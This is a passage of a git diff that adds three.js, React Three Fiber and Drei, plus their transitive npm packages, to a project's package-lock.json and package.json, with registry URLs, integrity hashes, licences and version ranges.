"https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "dev": true, "license": "MIT" }, + "node_modules/detect-gpu": { + "version": "5.0.70", + "resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz", + "integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==", + "license": "MIT", + "dependencies": { + "webgl-constants": "^1.1.1" + } + }, "node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", @@ -1076,6 +1386,12 @@ "node": ">=8" } }, + "node_modules/draco3d": { + "version": "1.5.7", + "resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz", + "integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==", + "license": "Apache-2.0" + }, "node_modules/enhanced-resolve": { "version": "5.20.0", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.0.tgz", @@ -1090,6 +1406,18 @@ "node": ">=10.13.0" } }, + "node_modules/fflate": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz", + "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==", + "license": "MIT" + }, + "node_modules/glsl-noise": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz", + "integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==", + "license": "MIT" + }, "node_modules/graceful-fs": { "version": "4.2.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", @@ -1097,6 +1425,62 @@ "dev": true, "license": "ISC" }, + "node_modules/hls.js": { + "version": "1.6.15", + "resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz", + "integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==", + "license": "Apache-2.0" + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/immediate": { + "version": "3.0.6", + "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", + "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", + "license": "MIT" + }, + "node_modules/is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/its-fine": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/its-fine/-/its-fine-2.0.0.tgz", + "integrity": "sha512-KLViCmWx94zOvpLwSlsx6yOCeMhZYaxrJV87Po5k/FoZzcPSahvK5qJ7fYhS61sZi5ikmh2S3Hz55A2l3U69ng==", + "license": "MIT", + "dependencies": { + "@types/react-reconciler": "^0.28.9" + }, + "peerDependencies": { + "react": "^19.0.0" + } + }, "node_modules/jiti": { "version": "2.6.1", "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.6.1.tgz", @@ -1107,6 +1491,15 @@ "jiti": "lib/jiti-cli.mjs" } }, + "node_modules/lie": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "license": "MIT", + "dependencies": { + "immediate": "~3.0.5" + } + }, "node_modules/lightningcss": { "version": "1.31.1", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.31.1.tgz", @@ -1377,6 +1770,16 @@ "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc" } }, + "node_modules/maath": { + "version": "0.10.8", + "resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz", + "integrity": "sha512-tRvbDF0Pgqz+9XUa4jjfgAQ8/aPKmQdWXilFu2tMy4GWj4NOsx99HlULO4IeREfbO3a0sA145DZYyvXPkybm0g==", + "license": "MIT", + "peerDependencies": { + "@types/three": ">=0.134.0", + "three": ">=0.134.0" + } + }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", @@ -1387,6 +1790,21 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, + "node_modules/meshline": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/meshline/-/meshline-3.3.1.tgz", + "integrity": "sha512-/TQj+JdZkeSUOl5Mk2J7eLcYTLiQm2IDzmlSvYm7ov15anEcDJ92GHqqazxTSreeNgfnYu24kiEvvv0WlbCdFQ==", + "license": "MIT", + "peerDependencies": { + "three": ">=0.137" + } + }, + "node_modules/meshoptimizer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/meshoptimizer/-/meshoptimizer-1.0.1.tgz", + "integrity": "sha512-Vix+QlA1YYT3FwmBBZ+49cE5y/b+pRrcXKqGpS5ouh33d3lSp2PoTpCw19E0cKDFWalembrHnIaZetf27a+W2g==", + "license": "MIT" + }, "node_modules/nanoid": { "version": "3.3.11", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", @@ -1495,6 +1913,15 @@ "node": "^10 || ^12 || >=14" } }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -1530,6 +1957,22 @@ "node": "^10 || ^12 || >=14" } }, + "node_modules/potpack": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/potpack/-/potpack-1.0.2.tgz", + "integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==", + "license": "ISC" + }, + "node_modules/promise-worker-transferable": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz", + "integrity": "sha512-bN+0ehEnrXfxV2ZQvU2PetO0n4gqBD4ulq3MI1WOPLgr7/Mg9yRQkX5+0v1vagr74ZTsl7XtzlaYDo2EuCeYJw==", + "license": "Apache-2.0", + "dependencies": { + "is-promise": "^2.1.0", + "lie": "^3.0.2" + } + }, "node_modules/react": { "version": "19.2.0", "resolved": "https://registry.npmjs.org/react/-/react-19.2.0.tgz", @@ -1553,6 +1996,30 @@ "react": "^19.2.0" } }, + "node_modules/react-use-measure": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/react-use-measure/-/react-use-measure-2.1.7.tgz", + "integrity": "sha512-KrvcAo13I/60HpwGO5jpW7E9DfusKyLPLvuHlUyP5zqnmAPhNc6qTRjUQrdTADl0lpPpDVU2/Gg51UlOGHXbdg==", + "license": "MIT", + "peerDependencies": { + "react": ">=16.13", + "react-dom": ">=16.13" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + } + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/scheduler": { "version": "0.27.0", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", @@ -1617,6 +2084,27 @@ "@img/sharp-win32-x64": "0.34.5" } }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", @@ -1626,6 +2114,32 @@ "node": ">=0.10.0" } }, + "node_modules/stats-gl": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/stats-gl/-/stats-gl-2.4.2.tgz", + "integrity": "sha512-g5O9B0hm9CvnM36+v7SFl39T7hmAlv541tU81ME8YeSb3i1CIP5/QdDeSB3A0la0bKNHpxpwxOVRo2wFTYEosQ==", + "license": "MIT", + "dependencies": { + "@types/three": "*", + "three": "^0.170.0" + }, + "peerDependencies": { + "@types/three": "*", + "three": "*" + } + }, + "node_modules/stats-gl/node_modules/three": { + "version": "0.170.0", + "resolved": "https://registry.npmjs.org/three/-/three-0.170.0.tgz", + "integrity": "sha512-FQK+LEpYc0fBD+J8g6oSEyyNzjp+Q7Ks1C568WWaoMRLW+TkNNWmenWeGgJjV105Gd+p/2ql1ZcjYvNiPZBhuQ==", + "license": "MIT" + }, + "node_modules/stats.js": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/stats.js/-/stats.js-0.17.0.tgz", + "integrity": "sha512-hNKz8phvYLPEcRkeG1rsGmV5ChMjKDAWU7/OJJdDErPBNChQXxCo3WZurGpnWc6gZhAzEPFad1aVgyOANH1sMw==", + "license": "MIT" + }, "node_modules/styled-jsx": { "version": "5.1.6", "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.6.tgz", @@ -1649,6 +2163,15 @@ } } }, + "node_modules/suspend-react": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz", + "integrity": "sha512-aqldKgX9aZqpoDp3e8/BZ8Dm7x1pJl+qI3ZKxDN0i/IQTWUwBx/ManmlVJ3wowqbno6c2bmiIfs+Um6LbsjJyQ==", + "license": "MIT", + "peerDependencies": { + "react": ">=17.0" + } + }, "node_modules/tailwind-merge": { "version": "3.5.0", "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz", @@ -1680,12 +2203,118 @@ "url": "https://opencollective.com/webpack" } }, + "node_modules/three": { + "version": "0.183.2", + "resolved": "https://registry.npmjs.org/three/-/three-0.183.2.tgz", + "integrity": "sha512-di3BsL2FEQ1PA7Hcvn4fyJOlxRRgFYBpMTcyOgkwJIaDOdJMebEFPA+t98EvjuljDx4hNulAGwF6KIjtwI5jgQ==", + "license": "MIT", + "peer": true + }, + "node_modules/three-mesh-bvh": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/three-mesh-bvh/-/three-mesh-bvh-0.8.3.tgz", + "integrity": "sha512-4G5lBaF+g2auKX3P0yqx+MJC6oVt6sB5k+CchS6Ob0qvH0YIhuUk1eYr7ktsIpY+albCqE80/FVQGV190PmiAg==", + "license": "MIT", + "peerDependencies": { + "three": ">= 0.159.0" + } + }, + "node_modules/three-stdlib": { + "version": "2.36.1", + "resolved": "https://registry.npmjs.org/three-stdlib/-/three-stdlib-2.36.1.tgz", + "integrity": "sha512-XyGQrFmNQ5O/IoKm556ftwKsBg11TIb301MB5dWNicziQBEs2g3gtOYIf7pFiLa0zI2gUwhtCjv9fmjnxKZ1Cg==", + "license": "MIT", + "dependencies": { + "@types/draco3d": "^1.4.0", + "@types/offscreencanvas": "^2019.6.4", + "@types/webxr": "^0.5.2", + "draco3d": "^1.4.1", + "fflate": "^0.6.9", + "potpack": "^1.0.1" + }, + "peerDependencies": { + "three": ">=0.128.0" + } + }, + "node_modules/three-stdlib/node_modules/fflate": { + "version": "0.6.10", + "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.6.10.tgz", + "integrity": "sha512-IQrh3lEPM93wVCEczc9SaAOvkmcoQn/G8Bo1e8ZPlY3X3bnAxWaBdvTdvM1hP62iZp0BXWDy4vTAy4fF0+Dlpg==", + "license": "MIT" + }, + "node_modules/troika-three-text": { + "version": "0.52.4", + "resolved": "https://registry.npmjs.org/troika-three-text/-/troika-three-text-0.52.4.tgz", + "integrity": "sha512-V50EwcYGruV5rUZ9F4aNsrytGdKcXKALjEtQXIOBfhVoZU9VAqZNIoGQ3TMiooVqFAbR1w15T+f+8gkzoFzawg==", + "license": "MIT", + "dependencies": { + "bidi-js": "^1.0.2", + "troika-three-utils": "^0.52.4", + "troika-worker-utils": "^0.52.0", + "webgl-sdf-generator": "1.1.1" + }, + "peerDependencies": { + "three": ">=0.125.0" + } + }, + "node_modules/troika-three-utils": { + "version": "0.52.4", + "resolved": "https://registry.npmjs.org/troika-three-utils/-/troika-three-utils-0.52.4.tgz", + "integrity": "sha512-NORAStSVa/BDiG52Mfudk4j1FG4jC4ILutB3foPnfGbOeIs9+G5vZLa0pnmnaftZUGm4UwSoqEpWdqvC7zms3A==", + "license": "MIT", + "peerDependencies": { + "three": ">=0.125.0" + } + }, + "node_modules/troika-worker-utils": { + "version": "0.52.0", + "resolved": "https://registry.npmjs.org/troika-worker-utils/-/troika-worker-utils-0.52.0.tgz", + "integrity": "sha512-W1CpvTHykaPH5brv5VHLfQo9D1OYuo0cSBEUQFFT/nBUzM8iD6Lq2/tgG/f1OelbAS1WtaTPQzE5uM49egnngw==", + "license": "MIT" + }, "node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", "license": "0BSD" }, + "node_modules/tunnel-rat": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/tunnel-rat/-/tunnel-rat-0.1.2.tgz", + "integrity": "sha512-lR5VHmkPhzdhrM092lI2nACsLO4QubF0/yoOhzX7c+wIpbN1GjHNzCc91QlpxBi+cnx8vVJ+Ur6vL5cEoQPFpQ==", + "license": "MIT", + "dependencies": { + "zustand": "^4.3.2" + } + }, + "node_modules/tunnel-rat/node_modules/zustand": { + "version": "4.5.7", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz", + "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==", + "license": "MIT", + "dependencies": { + "use-sync-external-store": "^1.2.2" + }, + "engines": { + "node": ">=12.7.0" + }, + "peerDependencies": { + "@types/react": ">=16.8", + "immer": ">=9.0.6", + "react": ">=16.8" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "immer": { + "optional": true + }, + "react": { + "optional": true + } + } + }, "node_modules/tw-animate-css": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/tw-animate-css/-/tw-animate-css-1.3.3.tgz", @@ -1716,6 +2345,79 @@ "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", "dev": true, "license": "MIT" + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/utility-types": { + "version": "3.11.0", + "resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz", + "integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==", + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/webgl-constants": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz", + "integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg==" + }, + "node_modules/webgl-sdf-generator": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz", + "integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==", + "license": "MIT" + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/zustand": { + "version": "5.0.12", + "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.12.tgz", + "integrity": "sha512-i77ae3aZq4dhMlRhJVCYgMLKuSiZAaUPAct2AksxQ+gOtimhGMdXljRT21P5BNpeT4kXlLIckvkPM029OljD7g==", + "license": "MIT", + "engines": { + "node": ">=12.20.0" + }, + "peerDependencies": { + "@types/react": ">=18.0.0", + "immer": ">=9.0.6", + "react": ">=18.0.0", + "use-sync-external-store": ">=1.2.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "immer": { + "optional": true + }, + "react": { + "optional": true + }, + "use-sync-external-store": { + "optional": true + } + } } } } diff --git a/package.json b/package.json index 0d827cc..9cfa291 100644 --- a/package.json +++ b/package.json @@ -8,6 +8,9 @@ "start": "next start" }, "dependencies": { + "@react-three/drei": "^10.7.7", + "@react-three/fiber": "^9.5.0", + "@types/three": "^0.183.1", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", "lucide-react": "^0.454.0", @@ -15,7 +18,8 @@ "next-themes": "^0.4.6", "react": "19.2.0", "react-dom": "19.2.0", - "tailwind-merge": "^3.3.1" + "tailwind-merge": "^3.3.1", + "three": "^0.183.2" }, "devDependencies": { "@tailwindcss/postcss": "^4.1.9",